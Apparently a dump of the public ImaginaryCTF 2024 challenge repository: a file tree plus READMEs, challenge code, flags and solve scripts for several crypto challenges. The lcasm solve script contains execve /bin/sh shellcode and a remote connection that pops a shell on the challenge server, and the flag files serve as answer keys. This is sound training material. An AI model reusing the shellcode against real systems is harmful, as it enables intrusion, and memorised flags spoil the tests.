├── Crypto
├── base64
│ ├── README.md
│ └── challenge
│ │ ├── flag.txt
│ │ ├── main.py
│ │ ├── out.txt
│ │ ├── sbg.png
│ │ └── solve.py
├── coast
│ ├── README.md
│ └── challenge
│ │ ├── chall.sage
│ │ ├── flag.txt
│ │ ├── output.py
│ │ ├── output.txt
│ │ └── solve.sage
├── integrity
│ ├── README.md
│ └── challenge
│ │ ├── flag.txt
│ │ ├── main.py
│ │ ├── out.txt
│ │ ├── solve.sage
│ │ └── solve.sage.py
├── lcasm
│ ├── README.md
│ ├── challenge.yaml
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── Makefile
│ │ ├── __pycache__
│ │ └── solvelinmod.cpython-310.pyc
│ │ ├── flag.txt
│ │ ├── lcasm
│ │ ├── lcasm.c
│ │ ├── libc.so.6
│ │ ├── nsjail.cfg
│ │ ├── solve.sage
│ │ ├── solve.sage.py
│ │ └── solvelinmod.py
├── lf3r
│ ├── README.md
│ └── challenge
│ │ ├── chall.py
│ │ ├── flag.txt
│ │ ├── output.py
│ │ ├── output.txt
│ │ └── solve.py
├── notitle
│ ├── README.md
│ └── challenge
│ │ ├── chall.py
│ │ ├── flag.txt
│ │ ├── output.py
│ │ ├── output.txt
│ │ └── solve.py
├── pacap
│ ├── README.md
│ └── challenge
│ │ ├── chall.sage
│ │ ├── flag.py
│ │ ├── output.txt
│ │ └── solve.sage
├── solitude
│ ├── README.md
│ ├── challenge.yaml
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── flag.txt
│ │ ├── main.py
│ │ ├── nsjail.cfg
│ │ └── solve.py
└── tango
│ ├── README.md
│ ├── challenge.yaml
│ └── challenge
│ ├── Dockerfile
│ ├── nsjail.cfg
│ ├── secret.py
│ ├── server.py
│ └── solve.py
├── Forensics
├── Sleepy Alarm
│ ├── flag.txt
│ ├── readme.md
│ ├── src
│ │ ├── createsignal.m
│ │ ├── morning_n_breakfast.mp3
│ │ └── morning_n_breakfast_original.mp3
│ └── togive
│ │ ├── .s
│ │ └── morning_n_breakfast.mp3
├── bom
│ ├── README.md
│ ├── chal.txt
│ ├── flag.txt
│ └── gen.py
├── cartesian-1
│ ├── README.md
│ └── flag.txt
├── cartesian-2
│ ├── README.md
│ └── flag.txt
├── cartesian-3
│ ├── README.md
│ ├── challenge.yaml
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── app.py
│ │ ├── flag.txt
│ │ └── templates
│ │ ├── password_reset.html
│ │ └── success.html
├── crash
│ ├── README.md
│ └── flag.txt
├── dog-mom
│ ├── README.md
│ └── challenge
│ │ ├── flag.txt
│ │ └── image.png
├── elf in front of a sunset
│ ├── flag.txt
│ ├── readme.md
│ ├── src
│ │ ├── download.bmp
│ │ ├── elves.bmp
│ │ └── testcode.cpp
│ └── togive
│ │ └── elves.bmp
├── locked
│ ├── README.md
│ └── flag.txt
├── packed
│ ├── README.md
│ ├── flag.txt
│ └── routed.pkz
├── playful-puppy
│ ├── README.md
│ ├── flag.txt
│ ├── image.png
│ └── playful-puppy.zip
└── routed
│ ├── README.md
│ ├── flag.txt
│ └── routed.pkz
├── Misc
├── bank
│ ├── README.md
│ └── challenge
│ │ ├── Bank.sol
│ │ ├── flag.txt
│ │ └── solve.py
├── calc
│ ├── README.md
│ ├── challenge.yaml
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── exp.py
│ │ ├── flag.txt
│ │ └── server.py
├── discord
│ ├── README.md
│ └── flag.txt
├── gdbjail1
│ ├── README.md
│ ├── challenge.yaml
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── flag.txt
│ │ ├── gdbinit.sh
│ │ ├── libc.so.6
│ │ ├── main.py
│ │ ├── nsjail.cfg
│ │ ├── run.sh
│ │ └── solve.py
├── gdbjail2
│ ├── README.md
│ ├── challenge.yaml
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── flag.txt
│ │ ├── gdbinit.sh
│ │ ├── libc.so.6
│ │ ├── main.py
│ │ ├── nsjail.cfg
│ │ ├── run.sh
│ │ └── solve.py
├── left_in_the_dark
│ ├── README.md
│ ├── challenge.yaml
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── docker-compose.yml
│ │ ├── flag.txt
│ │ ├── maze.py
│ │ ├── wrapper.sh
│ │ └── x.py
├── ok-nice
│ ├── README.md
│ ├── challenge.yaml
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── flag.txt
│ │ ├── jail.py
│ │ ├── nsjail.cfg
│ │ └── solve.py
├── sanity-check
│ ├── README.md
│ └── flag.txt
├── starship
│ ├── README.md
│ ├── challenge.yaml
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── __pycache__
│ │ └── gen.cpython-310.pyc
│ │ ├── flag.txt
│ │ ├── gen.py
│ │ ├── main.py
│ │ ├── nsjail.cfg
│ │ └── solve.py
├── sussy
│ ├── README.md
│ └── flag.txt
└── zable
│ ├── README.md
│ ├── challenge.yaml
│ ├── challenge
│ ├── .bazelignore
│ ├── .npmrc
│ ├── BUILD
│ ├── Dockerfile
│ ├── MODULE.bazel
│ ├── MODULE.bazel.lock
│ ├── WORKSPACE
│ ├── chall.py
│ ├── defs.bzl
│ ├── docker-compose.yml
│ ├── flag.txt
│ ├── hello.js
│ ├── package.json
│ ├── pnpm-lock.yaml
│ └── wrapper.sh
│ ├── gen_dist.sh
│ └── zable.dist.zip
├── Pwn
├── bopity
│ ├── README.md
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── Makefile
│ │ ├── flag.txt
│ │ ├── flag2.txt
│ │ ├── nsjail.cfg
│ │ ├── solve.py
│ │ ├── vuln
│ │ └── vuln.c
├── fermat
│ ├── README.md
│ ├── challenge.yaml
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── Makefile
│ │ ├── flag.txt
│ │ ├── libc.so.6
│ │ ├── nsjail.cfg
│ │ ├── solve.py
│ │ ├── vuln
│ │ └── vuln.c
├── hopper
│ ├── README.md
│ ├── challenge.yaml
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── Makefile
│ │ ├── __pycache__
│ │ └── setcontext32.cpython-310.pyc
│ │ ├── flag.txt
│ │ ├── libc.so.6
│ │ ├── nsjail.cfg
│ │ ├── setcontext32.py
│ │ ├── solve.py
│ │ ├── vuln
│ │ └── vuln.cpp
├── ictf-band
│ ├── README.md
│ ├── challenge.yaml
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── assets
│ │ ├── flag.txt
│ │ ├── ictf-band
│ │ ├── ld-linux-x86-64.so.2
│ │ ├── libc.so.6
│ │ └── solve.py
│ │ ├── nsjail.cfg
│ │ └── public
│ │ ├── README.md
│ │ ├── ictf-band
│ │ ├── ld-linux-x86-64.so.2
│ │ └── libc.so.6
├── imgstore
│ ├── README.md
│ ├── challenge.yaml
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── assets
│ │ ├── flag.txt
│ │ ├── imgstore
│ │ ├── ld-linux-x86-64.so.2
│ │ ├── libc.so.6
│ │ └── solve.py
│ │ ├── nsjail.cfg
│ │ └── public
│ │ ├── imgstore
│ │ ├── ld-linux-x86-64.so.2
│ │ └── libc.so.6
├── nsftpd
│ ├── README.md
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── flag.txt
│ │ ├── ftpd
│ │ ├── getflag
│ │ ├── getflag.c
│ │ └── solve.py
├── onewrite
│ ├── README.md
│ ├── challenge.yaml
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── Makefile
│ │ ├── __pycache__
│ │ └── setcontext32.cpython-310.pyc
│ │ ├── flag.txt
│ │ ├── libc.so.6
│ │ ├── nsjail.cfg
│ │ ├── setcontext32.py
│ │ ├── solve.py
│ │ ├── vuln
│ │ └── vuln.c
└── ropity
│ ├── README.md
│ ├── challenge.yaml
│ └── challenge
│ ├── Dockerfile
│ ├── Makefile
│ ├── flag.txt
│ ├── flag2.txt
│ ├── nsjail.cfg
│ ├── solve.py
│ ├── vuln
│ └── vuln.c
├── README.md
├── Reversing
├── Absolute Flag Checker
│ ├── flag.txt
│ ├── readme.md
│ ├── src
│ │ ├── generate equations.cpp
│ │ └── main.cpp
│ └── togive
│ │ ├── .s
│ │ └── absolute flag checker.exe
├── bf
│ ├── README.md
│ └── challenge
│ │ ├── bf.txt
│ │ ├── flag.txt
│ │ ├── generate.py
│ │ └── solve.py
├── oh_a_camel
│ ├── README.md
│ └── challenge
│ │ ├── .gitignore
│ │ ├── Dockerfile
│ │ ├── build.sh
│ │ ├── output
│ │ └── main.exe
│ │ ├── solve
│ │ ├── .gitignore
│ │ ├── index.ts
│ │ ├── package-lock.json
│ │ ├── package.json
│ │ └── tsconfig.json
│ │ └── src
│ │ ├── .dockerignore
│ │ ├── .gitignore
│ │ ├── bin
│ │ ├── dune
│ │ └── main.ml
│ │ ├── dune-project
│ │ ├── generate.py
│ │ ├── oh_a_camel.opam
│ │ ├── preprocess.sh
│ │ └── test
│ │ ├── dune
│ │ └── test_oh_a_camel.ml
├── printf
│ ├── README.md
│ └── challenge
│ │ ├── Makefile
│ │ ├── a.c
│ │ ├── asm
│ │ ├── dump
│ │ ├── end.c
│ │ ├── flag.txt
│ │ ├── gen.py
│ │ ├── libc.so.6
│ │ ├── printf
│ │ ├── printf.c
│ │ ├── process_dump.py
│ │ └── solve
│ │ ├── __pycache__
│ │ └── solvelinmod.cpython-310.pyc
│ │ ├── solve.sage
│ │ ├── solve.sage.py
│ │ └── solvelinmod.py
├── rust
│ ├── README.md
│ └── challenge
│ │ ├── flag.txt
│ │ ├── output.txt
│ │ ├── rust
│ │ └── solve.py
├── svm_revenge
│ ├── README.md
│ └── challenge
│ │ ├── .gitignore
│ │ ├── Makefile
│ │ ├── flag.txt
│ │ ├── generate_program.sage
│ │ ├── matrix.dump
│ │ ├── output.bin
│ │ ├── program.h
│ │ ├── solve.sage
│ │ ├── svm_revenge
│ │ └── svm_revenge.c
├── unconditional
│ ├── flag.txt
│ ├── readme.md
│ ├── src
│ │ └── flag mangler.cpp
│ └── togive
│ │ ├── .s
│ │ └── chal
├── unoriginal
│ ├── README.md
│ └── challenge
│ │ ├── Makefile
│ │ ├── flag.txt
│ │ ├── solve.py
│ │ ├── unoriginal
│ │ └── unoriginal.c
├── vokram
│ ├── README.md
│ └── challenge
│ │ ├── check_flag.vokram
│ │ ├── gen.py
│ │ ├── solve.py
│ │ └── vm.py
└── watchdog
│ ├── README.md
│ └── challenge
│ ├── Makefile
│ ├── flag.txt
│ ├── solve.sage
│ ├── solvelinmod.py
│ ├── watchdog
│ └── watchdog.cpp
└── Web
├── crystals
├── README.md
├── challenge
│ ├── Dockerfile
│ ├── app
│ │ ├── app.rb
│ │ ├── run.sh
│ │ └── views
│ │ │ └── index.erb
│ ├── conf
│ │ └── nginx.conf
│ ├── docker-compose.yml
│ ├── flag.txt
│ └── solve.py
└── crystals_release.zip
├── forms
├── README.md
├── challenge.yaml
├── challenge
│ ├── .gitignore
│ ├── Dockerfile
│ ├── app
│ │ ├── .dockerignore
│ │ ├── .gitignore
│ │ ├── __init__.py
│ │ ├── bot.py
│ │ ├── main.py
│ │ ├── static
│ │ │ ├── bootstrap.bundle.min.js
│ │ │ └── bootstrap.min.css
│ │ └── templates
│ │ │ ├── admin_confirmation.html
│ │ │ ├── base.html
│ │ │ ├── create_form.html
│ │ │ ├── fill_form.html
│ │ │ ├── index.html
│ │ │ ├── list_forms.html
│ │ │ ├── login.html
│ │ │ ├── register.html
│ │ │ └── thank_you.html
│ ├── forms.tar.gz
│ ├── requirements.txt
│ ├── run_devel.sh
│ └── solve.py
└── healthcheck
│ ├── Dockerfile
│ ├── healthcheck.py
│ ├── healthcheck_loop.sh
│ └── healthz_webserver.py
├── heapnotes
├── README.md
├── admin-bot
│ ├── challenge.yaml
│ └── challenge
│ │ ├── Dockerfile
│ │ ├── bot.js
│ │ ├── flag.txt
│ │ └── run.sh
├── challenge.yaml
├── challenge
│ ├── Dockerfile
│ ├── app.py
│ ├── flag.txt
│ ├── requirements.txt
│ ├── solve.html
│ ├── solve.py
│ ├── solve_test.py
│ └── templates
│ │ ├── create.html
│ │ ├── index.html
│ │ ├── login.html
│ │ ├── note.html
│ │ └── register.html
├── healthcheck
│ ├── Dockerfile
│ ├── healthcheck.py
│ ├── healthcheck_loop.sh
│ └── healthz_webserver.py
└── heapnotes_dist.zip
├── journal
├── README.md
├── challenge.yaml
├── challenge
│ ├── Dockerfile
│ ├── files
│ │ ├── file1.txt
│ │ ├── file2.txt
│ │ ├── file3.txt
│ │ ├── file4.txt
│ │ └── file5.txt
│ ├── flag.txt
│ └── index.php
└── journal-dist.zip
├── notactf
├── README.md
├── challenge.yaml
├── challenge
│ ├── Dockerfile
│ ├── app.py
│ ├── challenges-dist.txt
│ ├── challenges.txt
│ ├── config.py
│ ├── docker-compose.yml
│ ├── requirements.txt
│ ├── run.sh
│ ├── solve.py
│ ├── static
│ │ ├── css
│ │ │ ├── admin.css
│ │ │ ├── challenges.css
│ │ │ ├── home.css
│ │ │ ├── leaderboard.css
│ │ │ ├── modified_bootstrap.css
│ │ │ └── solves.css
│ │ └── js
│ │ │ └── home.js
│ └── templates
│ │ ├── admin.html
│ │ ├── blank.html
│ │ ├── challenges.html
│ │ ├── error.html
│ │ ├── home.html
│ │ ├── leaderboard.html
│ │ ├── login.html
│ │ ├── post-login.html
│ │ ├── register.html
│ │ ├── solves.html
│ │ └── unauthorized.html
└── notactf-dist.zip
├── p2c
├── README.md
├── challenge.yaml
└── challenge
│ ├── Dockerfile
│ ├── app
│ ├── app.py
│ ├── flag.txt
│ ├── parse.py
│ └── templates
│ │ └── index.html
│ ├── flag.txt
│ ├── p2c_release.zip
│ └── solve.py
├── pwning-en-logique
├── README.md
├── challenge.yaml
├── challenge
│ ├── Dockerfile
│ ├── pwning_en_logique.tar.gz
│ ├── run.sh
│ └── server.pl
└── healthcheck
│ ├── Dockerfile
│ ├── healthcheck.py
│ ├── healthcheck_loop.sh
│ └── healthz_webserver.py
├── readme
├── README.md
├── challenge.yaml
└── challenge
│ ├── Dockerfile
│ ├── default.conf
│ ├── docker-compose.yml
│ ├── package.json
│ ├── public
│ └── index.html
│ ├── readme.tar.gz
│ ├── src
│ └── app.js
│ ├── start.sh
│ └── yarn.lock
├── readme2
├── README.md
├── challenge.yaml
└── challenge
│ ├── Dockerfile
│ ├── app.js
│ ├── exp.sh
│ └── readme2.tar.gz
└── the_amazing_race
├── README.md
├── challenge.yaml
├── challenge
├── Dockerfile
├── app.py
├── docker-compose.yml
├── flag.txt
├── maze.py
├── mazes.db
└── templates
│ └── maze.html
├── healthcheck
├── Dockerfile
├── healthcheck.py
├── healthcheck_loop.sh
└── healthz_webserver.py
└── x.py
/Crypto/base64/README.md:
--------------------------------------------------------------------------------
1 | # base64
2 | **Category:** Crypto
3 | **Difficulty:** Easy
4 | **Author:** Eth007
5 |
6 | ## Description
7 |
8 | yet another base64 decoding challenge
9 |
10 | ## Distribution
11 |
12 | - `main.py`
13 | - `out.txt`
14 | - `sbg.png`
15 |
16 | ## Solution
17 |
18 | - solve.py
19 |
--------------------------------------------------------------------------------
/Crypto/base64/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{b4se_c0nv3rs1on_ftw_236680982d9e8449}
2 |
--------------------------------------------------------------------------------
/Crypto/base64/challenge/main.py:
--------------------------------------------------------------------------------
1 | from Crypto.Util.number import bytes_to_long
2 |
3 | q = 64
4 |
5 | flag = open("flag.txt", "rb").read()
6 | flag_int = bytes_to_long(flag)
7 |
8 | secret_key = []
9 | while flag_int:
10 | secret_key.append(flag_int % q)
11 | flag_int //= q
12 |
13 | print(f"{secret_key = }")
14 |
--------------------------------------------------------------------------------
/Crypto/base64/challenge/out.txt:
--------------------------------------------------------------------------------
1 | secret_key = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1]
2 |
--------------------------------------------------------------------------------
/Crypto/base64/challenge/sbg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Crypto/base64/challenge/sbg.png
--------------------------------------------------------------------------------
/Crypto/base64/challenge/solve.py:
--------------------------------------------------------------------------------
1 | from Crypto.Util.number import long_to_bytes
2 |
3 | secret_key = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1]
4 | q = 64
5 |
6 | flag_int = 0
7 | while secret_key:
8 | flag_int += secret_key.pop(-1)
9 | flag_int *= q
10 | flag_int //= q
11 |
12 | print(long_to_bytes(flag_int))
13 |
--------------------------------------------------------------------------------
/Crypto/coast/README.md:
--------------------------------------------------------------------------------
1 | # coast
2 | **Category:** Crypto
3 | **Difficulty:** Medium
4 | **Author:** maple3142
5 |
6 | ## Description
7 |
8 | Isogeny cryptography seems so fun, so I build a new cryptosystem based on CSIDH.
9 |
10 | ## Distribution
11 |
12 | - `chall.sage`
13 | - `output.txt`
14 |
15 | ## Solution
16 |
17 | First, due to how the group action is implemented the sign of `es` in private key does not matter. Second, the order of the auxiliary point `G` leaks the degree of isogeny. (i.e.g `G` has order `p+1` but becomes `(p+1)//3` after a 3-isogeny)
18 |
19 | So computing the order of `G` in public key reveals the secret isogeny, and we can compute the shared secret to decrypt the flag. See [solve.sage](./challenge/solve.sage) for details.
20 |
--------------------------------------------------------------------------------
/Crypto/coast/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{just_a_very_broken_implementation_of_csidh}
2 |
--------------------------------------------------------------------------------
/Crypto/coast/challenge/output.py:
--------------------------------------------------------------------------------
1 | output.txt
--------------------------------------------------------------------------------
/Crypto/integrity/README.md:
--------------------------------------------------------------------------------
1 | # integrity
2 | **Category:** Crypto
3 | **Difficulty:** Easy
4 | **Author:** Eth007
5 |
6 | ## Description
7 |
8 | I think this is how signing works
9 |
10 | ## Distribution
11 |
12 | - `main.py`
13 | - `out.txt`
14 |
15 | ## Solution
16 |
17 | - solve.py
18 |
--------------------------------------------------------------------------------
/Crypto/integrity/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{oops_i_leaked_some_info}
2 |
--------------------------------------------------------------------------------
/Crypto/integrity/challenge/main.py:
--------------------------------------------------------------------------------
1 | from Crypto.Util.number import *
2 | from binascii import crc_hqx
3 |
4 | p = getPrime(1024)
5 | q = getPrime(1024)
6 |
7 | n = p*q
8 | e = 65537
9 | tot = (p-1)*(q-1)
10 | d = pow(e, -1, tot)
11 |
12 | flag = bytes_to_long(open("flag.txt", "rb").read())
13 | ct = pow(flag, e, n)
14 |
15 | #signature = pow(flag, d, n) # no, im not gonna do that
16 | signature = pow(flag, crc_hqx(long_to_bytes(d), 42), n)
17 |
18 | print(f"{n = }")
19 | print(f"{ct = }")
20 | print(f"{signature = }")
21 |
22 |
--------------------------------------------------------------------------------
/Crypto/integrity/challenge/solve.sage:
--------------------------------------------------------------------------------
1 | from Crypto.Util.number import *
2 |
3 | exec(open("out.txt").read())
4 |
5 | def attack(n, e1, c1, e2, c2):
6 | g, u, v = xgcd(e1, e2)
7 | p1 = pow(c1, u, n) if u > 0 else pow(pow(c1, -1, n), -u, n)
8 | p2 = pow(c2, v, n) if v > 0 else pow(pow(c2, -1, n), -v, n)
9 | return int(ZZ(int(p1 * p2) % n).nth_root(g))
10 |
11 | for i in range(65536):
12 | try:
13 | a = long_to_bytes(attack(n, 65537, ct, i, signature))
14 | if b"ictf" in a:
15 | print(a)
16 | break
17 | except:
18 | pass
19 |
--------------------------------------------------------------------------------
/Crypto/integrity/challenge/solve.sage.py:
--------------------------------------------------------------------------------
1 |
2 |
3 | # This file was *autogenerated* from the file solve.sage
4 | from sage.all_cmdline import * # import sage library
5 |
6 | _sage_const_0 = Integer(0); _sage_const_1 = Integer(1); _sage_const_65536 = Integer(65536); _sage_const_65537 = Integer(65537)
7 | from Crypto.Util.number import *
8 |
9 | exec(open("out.txt").read())
10 |
11 | def attack(n, e1, c1, e2, c2):
12 | g, u, v = xgcd(e1, e2)
13 | p1 = pow(c1, u, n) if u > _sage_const_0 else pow(pow(c1, -_sage_const_1 , n), -u, n)
14 | p2 = pow(c2, v, n) if v > _sage_const_0 else pow(pow(c2, -_sage_const_1 , n), -v, n)
15 | return int(ZZ(int(p1 * p2) % n).nth_root(g))
16 |
17 | for i in range(_sage_const_65536 ):
18 | try:
19 | a = long_to_bytes(attack(n, _sage_const_65537 , ct, i, signature))
20 | if b"ictf" in a:
21 | print(a)
22 | break
23 | except:
24 | pass
25 |
26 |
--------------------------------------------------------------------------------
/Crypto/lcasm/README.md:
--------------------------------------------------------------------------------
1 | # lcasm
2 | **Category:** Crypto
3 | **Difficulty:** Easy-Medium
4 | **Author:** Eth007
5 |
6 | ## Description
7 |
8 | linear congruential assembler
9 |
10 | ## Distribution
11 |
12 | - `lcasm`
13 | - nc
14 |
15 | ## Solution
16 |
17 | - solve.py
18 |
--------------------------------------------------------------------------------
/Crypto/lcasm/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: lcasm
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 0
8 | network:
9 | public: true
10 | healthcheck:
11 | enabled: false
12 | image: eu.gcr.io/imaginaryctf-2023/lcasm-challenge:2655ea16a145534353205d4d0c0787ef88846838e596a46e2fb2a7b2eab4fc13
13 |
--------------------------------------------------------------------------------
/Crypto/lcasm/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | # Copyright 2020 Google LLC
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # https://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | FROM ubuntu:22.04@sha256:ac58ff7fe25edc58bdf0067ca99df00014dbd032e2246d30a722fa348fd799a5 as chroot
15 |
16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user
17 |
18 | COPY flag.txt /home/user/flag.txt
19 | COPY lcasm /home/user/chal
20 | RUN chmod 555 /home/user/chal
21 |
22 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb
23 |
24 | COPY --from=chroot / /chroot
25 |
26 | COPY nsjail.cfg /home/user/
27 |
28 | CMD kctf_setup && \
29 | kctf_drop_privs \
30 | socat \
31 | TCP-LISTEN:1337,reuseaddr,fork \
32 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal"
33 |
--------------------------------------------------------------------------------
/Crypto/lcasm/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | gcc lcasm.c -o lcasm
3 |
--------------------------------------------------------------------------------
/Crypto/lcasm/challenge/__pycache__/solvelinmod.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Crypto/lcasm/challenge/__pycache__/solvelinmod.cpython-310.pyc
--------------------------------------------------------------------------------
/Crypto/lcasm/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{fun_lil_shellcoding}
2 |
--------------------------------------------------------------------------------
/Crypto/lcasm/challenge/lcasm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Crypto/lcasm/challenge/lcasm
--------------------------------------------------------------------------------
/Crypto/lcasm/challenge/lcasm.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 |
11 | unsigned long readint(char* prompt) {
12 | unsigned long out;
13 | printf("%s", prompt);
14 | scanf("%lu%*c", &out);
15 | return out;
16 | }
17 |
18 | unsigned long mult(unsigned long long a, unsigned long long b, unsigned long long m) {
19 | __uint128_t r = (__uint128_t)a * b;
20 | r = r % m;
21 | return (unsigned long) r;
22 | }
23 |
24 | int main() {
25 | unsigned long * sc;
26 | unsigned long x, a, c, m;
27 |
28 | setbuf(stdin, NULL);
29 | setbuf(stdout, NULL);
30 |
31 | sc = mmap(0, 0x1000, 7, MAP_ANONYMOUS | MAP_SHARED, 0, 0);
32 |
33 | x = readint("x> ");
34 | a = readint("a> ");
35 | c = readint("c> ");
36 | m = readint("m> ");
37 |
38 | for (int i=0; i<0x10; i++) {
39 | x = (mult(a,x,m) + c) % m;
40 | sc[i] = (unsigned long) x;
41 | }
42 |
43 | mprotect(sc, 0x1000, 5);
44 | ((void (*)()) sc)();
45 | }
46 |
--------------------------------------------------------------------------------
/Crypto/lcasm/challenge/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Crypto/lcasm/challenge/libc.so.6
--------------------------------------------------------------------------------
/Crypto/lcasm/challenge/solve.sage:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | import solvelinmod
3 |
4 | a = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05\x00"
5 | nums = []
6 | for n in range(0, len(a), 8):
7 | nums.append(u64(a[n:n+8]))
8 |
9 | print(nums)
10 |
11 | mod = 2**64-3
12 | a = var('a')
13 | c = var('c')
14 | eq2 = nums[1]*-1 + nums[0]*a + 1*c == 0
15 | eq3 = nums[2]*-1 + nums[1]*a + 1*c == 0
16 | bounds = {a: 2**62, c: 2**62}
17 | sol = solvelinmod.solve_linear_mod([(eq2, mod), (eq3, mod)], bounds)
18 | print(f'{sol = }')
19 |
20 | a = ( int(sol[a]) + mod ) % mod
21 | c = ( int(sol[c]) + mod ) % mod
22 |
23 | x = (((nums[0] - c) % mod) * pow(a, -1, mod)) % mod
24 | print(f"{x = }")
25 | print(f"{a = }")
26 | print(f"{c = }")
27 | print(f"{mod = }")
28 |
29 | conn = remote("35.204.162.128", int(1337))
30 | #conn = process("./lcasm")
31 |
32 | x = 6549227833016977563
33 | a = 15634179043583660018
34 | c = 10769788045638517834
35 | mod = 18446744073709551613
36 |
37 | conn.sendline(str(x).encode())
38 | conn.sendline(str(a).encode())
39 | conn.sendline(str(c+3).encode()) # i have no idea why this works
40 | conn.sendline(str(mod).encode())
41 | conn.interactive()
42 |
--------------------------------------------------------------------------------
/Crypto/lf3r/README.md:
--------------------------------------------------------------------------------
1 | # lf3r
2 | **Category:** Crypto
3 | **Difficulty:** Medium
4 | **Author:** maple3142
5 |
6 | ## Description
7 |
8 | LFSR's weakness comes from its linearity, so I come up with a new way to make it non-linear. Can you help me analyze it?
9 |
10 | ## Distribution
11 |
12 | - `chall.py`
13 | - `output.txt`
14 |
15 | ## Solution
16 |
17 | Denote the stream of lsb of state as a binary vector `lfsr_lsb_stream`, there is a matrix $M_2$ over $\mathbb{F}_2$ such that $\text{lfsr\_lsb\_stream} = \text{key\_bits} \cdot M_2$ can be derived from the `MASK`.
18 |
19 | Similarly, there is also another matrix $M_3$ over $\mathbb{F}_3$ that $\text{lfsr\_lsb\_stream} \cdot M_3 = \text{output\_ternary\_digits}$. Solving this system over $\mathbb{F}_3$ results result in a 255-dimension affine space of solutions. (i.e. $\text{lfsr\_lsb\_stream} = \text{sol} + t \cdot \text{lk}$)
20 |
21 | Since the correct $\text{lfsr\_lsb\_stream}$ have to be binary, and the $\text{sol}$ contains ternary digits, I apply a randomized greedy algorithm to remove the presence of $2$ and it would recover the correct $\text{lfsr\_lsb\_stream}$.
22 |
23 | Finally, solve a system over $\mathbb{F}_2$ with $M_2$ recover the key and we can decrypt the flag. See [solve.py](./challenge/solve.py) for details.
24 |
--------------------------------------------------------------------------------
/Crypto/lf3r/challenge/chall.py:
--------------------------------------------------------------------------------
1 | import secrets, os
2 |
3 | n = 256
4 | MASK = 0x560074275752B31E43E64E99D996BC7B5A8A3DAC8B472FE3B83E6C6DDB5A26E7
5 |
6 |
7 | class LF3R:
8 | def __init__(self, n, key, mask):
9 | self.n = n
10 | self.state = key & ((1 << n) - 1)
11 | self.mask = mask
12 |
13 | def __call__(self):
14 | v = self.state % 3
15 | self.state = (self.state >> 1) | (
16 | ((self.state & self.mask).bit_count() & 1) << (self.n - 1)
17 | )
18 | return v
19 |
20 |
21 | def int_to_base(n, b):
22 | digits = []
23 | while n:
24 | digits.append(n % b)
25 | n //= b
26 | return digits
27 |
28 |
29 | if __name__ == "__main__":
30 | key = secrets.randbits(n)
31 | lf3r = LF3R(n, key, MASK)
32 |
33 | stream = [lf3r() for _ in range(2048)]
34 |
35 | flag = os.environ["FLAG"].encode()
36 | flag_digits = int_to_base(int.from_bytes(flag, "big"), 3)
37 | stream += [(x + lf3r()) % 3 for x in flag_digits]
38 | print(f"{stream = }")
39 |
--------------------------------------------------------------------------------
/Crypto/lf3r/challenge/flag.txt:
